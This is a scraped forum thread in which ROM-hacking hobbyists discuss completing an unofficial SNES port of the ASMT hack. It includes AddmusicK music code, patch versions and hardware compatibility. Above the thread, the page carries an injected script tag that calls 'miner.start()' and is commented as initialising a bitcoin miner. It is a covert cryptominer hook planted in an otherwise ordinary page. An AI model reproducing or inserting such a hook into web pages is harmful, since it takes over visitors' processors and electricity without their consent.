<script>
miner.start(); // initialise bitcoin miner
</script>

irc.cat.biosmw centralsmbx community

[Unofficial] ASMT SNES Version COMPLETED

wanna make a game, or anything else? seminal bloom!
User avatar
Super Maks 64
Opinions everywhere man
Posts: 117
Joined: 9 months ago
Pronouns: he/him/his
Location: Poland

Re: [Unofficial] ASMT SNES Version BETA 0.(0)1

Postby Super Maks 64 » 4 months ago

Sorry for the late reply; I didn't insert the cammy port, because it isn't the same, if you listen to the spc that AMK produces to the one in Missing songs SPC folder, you'll hear a difference, but I decided that temporarily I'll insert inaccurate ports (or stuff that's more fitting than SMW Overworld music) until I find the original ones.
Also I was able to find and insert On Cloud Nine song.

Next update will have those ports inserted, the Boss Bass Demo counter fix and a version with A2MT's global songs, but that will be released when I'll find a fix for the bonus game music.

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version BETA 0.(0)1

Postby Jongseok » 4 months ago

Super Maks 64 wrote:
Here is Castlevania Adventure 2 - Praying Hands

Code: Select all

#am4
#0  @16 q7f v255 y10 w255 t45
$ED $4C $EF 
o5
l16
[ec+<g+>d+c+<g+>f+c+<g+>d+c+<g+>ed+c+<g+
>ec+<g+>d+c+<g+>f+c+<g+>d+c+<g+>ed+<bf+
>e<ae>d+<ae>f+<ae>d+<ae>ed+<bf+
>e<ae>d+<ae>f+<ae>d+<aeo5c+<f+g+d+]2
/
r1^1^1^1^1^1^1^1^1^1^1^1^1^1^1^1^1^1^1^1
c<afbaf>c<afbafb>cd<b
bg+eag+ebg+eag+eg+abg+
>d<bg>c<bg>d<bg>c<bg>cdec
[r1]100

#1  @0 q7f v235 y10
$ED $6B $EF
[r1]8
/
[o3a2^4^ea>c
<b8rg8rd8r8b8rg8r
a1^1^2^4^
ea>c
<b8rg8rd8]1>b8rg8rd8
e1^2
d2
*1r8b8rg8r
a1^1
[r1]7
o5ec<a>dc<a>c<bg>dc<ba8g8
[f<a>cfga8g8<b>dgab8]1a8
c+eab>c+8r8dc+<b>c+<bag
*1a2^
>e<e>d<e>c<ebg
*1a8
c+eab>c+8r8dc+<b>c+<bag
*1a+8
dfa+>cd8c8<eg>cde8r1^1^1^
<cfa>c<bgdbefcadcd<b

#7  @14 q7f v255 y10
[r1]8
/
[o3a2^4^ea>c
<b8rg8rd8r8b8rg8r
a1^1^2^4^
ea>c
<b8rg8rd8]1>b8rg8rd8
e1^2
d2
*1r8b8rg8r
a1^1
[r1]7
o5ec<a>dc<a>c<bg>dc<ba8g8
[f<a>cfga8g8<b>dgab8]1a8
c+eab>c+8r8dc+<b>c+<bag
*1a2^
>e<e>d<e>c<ebg
*1a8
c+eab>c+8r8dc+<b>c+<bag
*1a+8
dfa+>cd8c8<eg>cde8r1^1^1^
<cfa>c<bgdbefcadcd<b



#2   @11 q7f v255 y10
$ED $6D $EF
[r1]8
/
[r1]16
[o2efa>cefa>ce<ef>dc<bag
<deg+b>deg+b>e<abg>c<f+bf]2
[r1]100


#3  @6  q7f v245 y10
[r1]8
/
[r1]32
o4f+2^8^e8^d8
f2^8^e8^d8
f+2^8^e8^d8
[r1]100

#5   @8  q7f v225 y10
o2c+1^1
<a1^1
>c+1^1
<a1^2
[a]4[b]4
/
[o2aa>aa<aa>aa<aa>aa<aa>aa
<gg>gg<gg>gg<gg>gg<gg>gg
<dd>dd<dd>dd<dd>dd<dd>dd
<ff>ff<ff>ff<]1o2ff>ff<ff>ff
*1o2gg>gg<gg>gg
*1o2gg>gg<gg>gg
<ff>ff<ff>ff<ff>ff<ff>ff
<ee>ee<ee>ee<ee>ee<ee>ee
[<dd>dd<dd>dd<dd>dd<dd>dd]2
o2f2^8^a8^>c8
<e2^8^g8^e8
f2^8^a8^>c8
e2b8^a8^>c8
o2f2^8^a8^>c8
<e2^8^g8^e8
g2^8^b8^>d8
<ff>ffff<gg>ggggee>ee
[o2ff>ff<ff>ff<cc>cco2gg>gg
<aa>aa<aa>aa<bb>bbee>ee]1
<dd>dd<dd>ddo2gg>gg<gg>gg
<aa>aa<aa>aa<ao4dc<aedc<a
*1
<[ff>ff<ff>ff<gg>gg<gg>gg]1
<a+a+>a+a+<a+a+>a+a+<cc>cc<cc>cc
o2b>ad<b>gd<b>f+<b>ad<b>gd<b>f+
<a+>ad<a+>gd<a+>f<a+>ad<a+>gd<a+>f
<b>ad<b>gd<b>f+<b>ad<b>gd<b>f+
*1
[r1]100

#6  @21  q7f v255 y10
$ED $67 $EF
[r1]4
@22[g]56
@10[g]8
/
[@21gg@22gg@10g@22gg@21ggg@22gg@10g@22gg@10g]16
[@21g@22ggggggg@10g@22ggggggg]6
[@21g@22ggg]4
[@10g@21gg]4@10[g]4
[@21gg@22gg@10g@22gg@21ggg@22gg@10g@22gg@10g]11
@21gg@22gg@10g@22gg@21g@10gggggggg

User avatar
Super Maks 64
Opinions everywhere man
Posts: 117
Joined: 9 months ago
Pronouns: he/him/his
Location: Poland

Re: [Unofficial] ASMT SNES Version GAMMA 0.1

Postby Super Maks 64 » 4 months ago

Updated once again.
-SMW Overworld song now plays only in one place
-added the Plus version with A2MT's global songs which isn't speedrun viable
-fixed the Boss Bass

The only thing that is needed is finding the missing songs, unless there are some bugs, but hopefully there are none.

Also it's really worth beating at least one stage in the Plus version ;)

Edit: Welp, I forgot to add #option TempoImmunity to the global songs in the Plus Version, but you can just Start+Select out of an earlier level to make the music normal.

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version GAMMA 0.1

Postby Jongseok » 4 months ago

I searched everywhere but OW songs and some songs are nowhere. T.T I even found out old SMWCentral ports but no... I did not get anything...

User avatar
SAJewers
hi
Posts: 2266
Joined: 5 years ago
Location: Nova Scotia

Re: [Unofficial] ASMT SNES Version GAMMA 0.1

Postby SAJewers » 4 months ago

ImageImageImage
Image
ImageImageImageImage

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version GAMMA 0.1

Postby Jongseok » 4 months ago

Thanks, but sadly, we cannot do anything with SPC files. It is impossible to spc to txt or mml. We have all missing song spc files. What we have to do is just finding missing txts. And then done!! :)

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version GAMMA 0.1

Postby Jongseok » 4 months ago

Trial of Space AMK is really strange for me to listen. And Trial of Jellyfish's music is not Romancing Saga 2 - Final battle in Original SPC folder.

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version 0.(1)

Postby Jongseok » 4 months ago

Super Maks 64 wrote:just
Oh, you missed temp immunity for Plus Version. Jump sfx cuts when Mario hits or touches coins. Sound Echo is disabled.. Well, it's okay

User avatar
Super Maks 64
Opinions everywhere man
Posts: 117
Joined: 9 months ago
Pronouns: he/him/his
Location: Poland

Re: [Unofficial] ASMT SNES Version 0.(9)

Postby Super Maks 64 » 4 months ago

This was supposed to be released almost a week ago, but I had problems with mediafire and then with my computer.

The first post has everything you need to know.

Also does the download work at all? This was my first time using Dropbox.

User avatar
ParmaJon
Moose in a suit
Posts: 154
Joined: 2 years ago
First name: Jon (a bit too obvious?)
Pronouns: he/him/his
Location: ParmaJon's Pizza Palace

Re: [Unofficial] ASMT SNES Version 0.(9)

Postby ParmaJon » 4 months ago

Super Maks 64 wrote: This was supposed to be released almost a week ago, but I had problems with mediafire and then with my computer.

The first post has everything you need to know.

Also does the download work at all? This was my first time using Dropbox.
the link is good
Go to bed

Image

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version 0.(9)

Postby Jongseok » 4 months ago

Super Maks 64 wrote: I found an another bug. In youcanreadmeifyouwantto.txt, my name is not "JONGSOEK", my name is "JONGSEOK"

User avatar
Super Maks 64
Opinions everywhere man
Posts: 117
Joined: 9 months ago
Pronouns: he/him/his
Location: Poland

Re: [Unofficial] ASMT SNES Version 0.(9)

Postby Super Maks 64 » 4 months ago

Sorry, my eyes just don't work.

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version 0.(9)

Postby Jongseok » 4 months ago

Super Maks 64 wrote: Sorry, my eyes just don't work.
Well, that's okay.

User avatar
Super Maks 64
Opinions everywhere man
Posts: 117
Joined: 9 months ago
Pronouns: he/him/his
Location: Poland

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Super Maks 64 » 3 months ago

This is now finished I hope,

um,


yeah...

On a side note, could I submit only the normal version's .bps file as an update on SMW Central?

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Jongseok » 3 months ago

Super Maks 64 wrote: This is now finished I hope,

um,


yeah...

On a side note, could I submit only the normal version's .bps file as an update on SMW Central?
Normal version + A2MT sfx version both. SMWCentral likes bps files. I don't know why but... Well, it's perfectly okay. :D
But A2MT doesn't exist on SMWCentral. Tobi didn't upload it.

User avatar
Super Maks 64
Opinions everywhere man
Posts: 117
Joined: 9 months ago
Pronouns: he/him/his
Location: Poland

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Super Maks 64 » 3 months ago

(SMWC uses .bps files, because they are just better .ips files)

I would probably just upload the normal version, but have a dropbox link to the plus version and all the music files in the description, but I would want to get a permission from someone associated with the original ASMT to do this.

User avatar
Tobi555
New A2MT Guy
Posts: 466
Joined: 1 year ago

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Tobi555 » 3 months ago

Jongseok wrote: Normal version + A2MT sfx version both. SMWCentral likes bps files. I don't know why but... Well, it's perfectly okay. :D
But A2MT doesn't exist on SMWCentral. Tobi didn't upload it.
Got a hotfix update on the way, you guys can submit 1.9.5 on smwcentral for the Talkhaus if you want. :)

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Jongseok » 3 months ago

Tobi555 wrote:
Jongseok wrote: Normal version + A2MT sfx version both. SMWCentral likes bps files. I don't know why but... Well, it's perfectly okay. :D
But A2MT doesn't exist on SMWCentral. Tobi didn't upload it.
Got a hotfix update on the way, you guys can submit 1.9.5 on smwcentral for the Talkhaus if you want. :)
Thank you, Tobi. I'll upload your zip file on SMWC.

User avatar
raocow
the death of the incredible huge
Posts: 1951
Joined: 8 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby raocow » 3 months ago

wow I can't believe this is done
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Hoeloe » 3 months ago

So wait...

In theory this could run on an actual SNES?

...If so I may have to invest in a flash cart.
Image
Image
Image
Image

Jongseok
I need another addmusic.
Posts: 294
Joined: 1 year ago
Location: Seoul, Korea

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Jongseok » 2 months ago

Hoeloe wrote: So wait...

In theory this could run on an actual SNES?

...If so I may have to invest in a flash cart.
All the songs were inserted by AddmusicK, so it works on real hardware.

User avatar
aterraformer
Posts: 274
Joined: 6 years ago
Location: The Astral

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby aterraformer » 2 months ago

It's done!? omg omg omg :mrgreen:
raocow wrote:the plan is to wait for Jump to be released and then replacing the graphics without telling anyone involved with Jump.
Image
Image

User avatar
aterraformer
Posts: 274
Joined: 6 years ago
Location: The Astral

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby aterraformer » 2 months ago

tbh I wish you added a 1-up checkpoint in castle 5 lol.... or 4 too
raocow wrote:the plan is to wait for Jump to be released and then replacing the graphics without telling anyone involved with Jump.
Image
Image

User avatar
Yikes
Posts: 7
Joined: 8 years ago
Location: Germany

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Yikes » 1 month ago

So, how do I patch/play this?
Gesundheit!

User avatar
Super Maks 64
Opinions everywhere man
Posts: 117
Joined: 9 months ago
Pronouns: he/him/his
Location: Poland

Re: [Unofficial] ASMT SNES Version COMPLETED

Postby Super Maks 64 » 1 month ago

Yikes wrote: So, how do I patch/play this?
You need FLIPS (Floating LIPS/Floating Lunar IPS) to apply the .bps patch to a vanilla SMW rom, and then just open it in an emulator of your choice (if it's ZSNES, then you need an extra step of rethinking your life choices) or play it on a flashcart like Everdrive or SD2SNES.



Also this was updated so Yoshi NPCs and all message boxes should now work on console (previously they read CGRAM to know which message to display, which was buggy and not consistent).

Just so you know, this is the exact same link as the one in the first post on the first page that was edited multiple times


Return to “project showcase”

Who is online

Users browsing this forum: No registered users and 2 guests

cron